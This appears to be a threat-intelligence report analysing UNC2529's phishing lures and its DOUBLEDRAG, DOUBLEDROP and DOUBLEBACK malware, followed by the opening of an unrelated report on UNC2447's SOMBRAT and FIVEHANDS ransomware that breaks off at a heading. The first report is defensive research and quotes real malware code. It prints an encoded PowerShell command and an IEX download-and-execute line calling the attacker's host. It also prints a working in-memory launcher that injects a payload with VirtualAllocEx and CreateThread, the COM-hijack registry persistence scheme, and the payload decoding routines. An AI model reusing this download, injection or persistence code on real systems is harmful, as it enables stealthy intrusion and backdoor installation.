UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure

Wave

re: <redacted> outdoors environment (1 out of 3)

1st

accepted: follow up with butch & karen

1st

re: appraisal for <redacted> - smysor rd

2nd

re: <redacted> financing

2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure

Wave

fw: certificate of insurance

1st

fw: insurance for plow

1st

please get this information

1st

question & number request

1st

claim status

2nd

applications for medicare supplement & part d

2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure

Wave

dear worker, your work # ujcb0utczl

1st

good day worker, your job number- 8ldbsq6ikd

1st

hello worker, your work number- u39hbutlsf

1st

good day candidate, your vacancy # xcmxydis4s

2nd

dear worker, your work # ujcb0utczl

2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.


Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 


Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component

Overview

The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.

Setup

The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
       * key: LocalServer
              * value: <default>
                      * data: <bootstrap_ps_code>
       * key: ProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <encoded_loader>
       * key: VersionIndependentProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <first_4_chars_of_rnd_guid_0>
                      * data: <encoded_rc4_key>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: CLSID
              * value: <default>
                      * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: TreatAs
              * value: <default>
                      * data: <rnd_guid_0>

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.

Bootstrap

The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.

Launcher

The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}

function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component

Overview

The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.

Details

The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest()[4:8])[0]
    return (salted_val + second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process

Overview

The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.

Configuration

The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.

https://<server>/admin<n>/client.php

Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.

Conclusion

Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators

DOUBLEDRAG / BIFF8

Files

MD5

Role

Wave

39fc804566d02c35f3f9d67be52bee0d

DOUBLEDRAG

1st

44f7af834ee7387ac5d99a676a03cfdd

DOUBLEDRAG

1st

4e5583e34ad54fa7d1617f400281ba56

PDF Decoy

1st

e80dc4c3e26deddcc44e66bb19b6fb58

PDF Decoy

1st

169c4d96138d3ff73097c2a9aab5b1c0

Zip

1st

e70502d020ba707095d46810fd32ee49

Zip

1st

62fb99dc271abc104504212157a4ba91

Excel BIFF8 macro

2nd

1d3fcb7808495bd403973a0472291da5

PDF Decoy

2nd

6a1da7ee620c638bd494f4e24f6f1ca9

Zip

2nd

a28236b43f014c15f7ad4c2b4daf1490

Zip

2nd

d594b3bce66b8b56881febd38aa075fb

Zip

2nd

Domains

Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave

adupla[.]net

aibemarle[.]com

ceylonbungalows[.]net

bestwalletforbitcoin[.]com

chandol[.]com

bitcoinsacks[.]com

closetdeal[.]com

digitalagencyleeds[.]com

daldhillon[.]com

erbilmarriott[.]com

desmoncreative[.]com

ethernetpedia[.]com

farmpork[.]com

fileamazon[.]com

gemralph[.]com

gamesaccommodationscotland[.]com

isjustlunch[.]com

greathabibgroup[.]com

logicmyass[.]com

infomarketx[.]com

lottoangels[.]com

jagunconsult[.]com

mangoldsengers[.]com

khodaycontrolsystem[.]com

oconeeveteransmemorial[.]com

maninashop[.]com

scottishhandcraft[.]com

onceprojects[.]com

seathisons[.]com

simcardhosting[.]com

skysatcam[.]com

stayzarentals[.]com

smartnhappy[.]com

touristboardaccommodation[.]com

stepearn[.]com

towncentrehotel[.]com

sugarmummylove[.]com

vacuumcleanerpartsstore[.]com

techooze[.]com

zmrtu[.]com

tigertigerbeads[.]com

 

totallyhealth-wealth[.]com

 

towncenterhotel[.]com

 

uaeworkpermit[.]com

 

DOUBLEDROP

MD5

  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c

URLs

  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat
DOUBLEBACK

MD5

  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337

URLs

  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php

Detections

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.

Platforms

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)

  • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • MALICIOUS SCRIPT CONTENT A (METHODOLOGY)
  • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)

Malware Protection (AV/MG)

  • Generic.mg.1aeecb2827babb42
  • Generic.mg.1bdf780ea6ff3abe
  • Generic.mg.1f285e496096168f
  • Generic.mg.6a3a0d3d239f04ff
  • Generic.mg.ce02ef6efe6171cd
  • Generic.mg.fa9e686b811a1d92
  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Resource Development

Initial Access

Execution

Privilege Escalation

Defense Evasion

Discovery

Collection

Command and Control

Acknowledgements

Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat

29 April 2021 at 21:00

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.

UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.

Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.

Background

In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.

In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.

Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.

  • In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).


Figure 1: FIVEHANDS Hello Kitty icon

When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

SonicWall SMA 100 Series Appliance Vulnerability

CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001.

WARPRISM

WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups.

FOXGRABBER

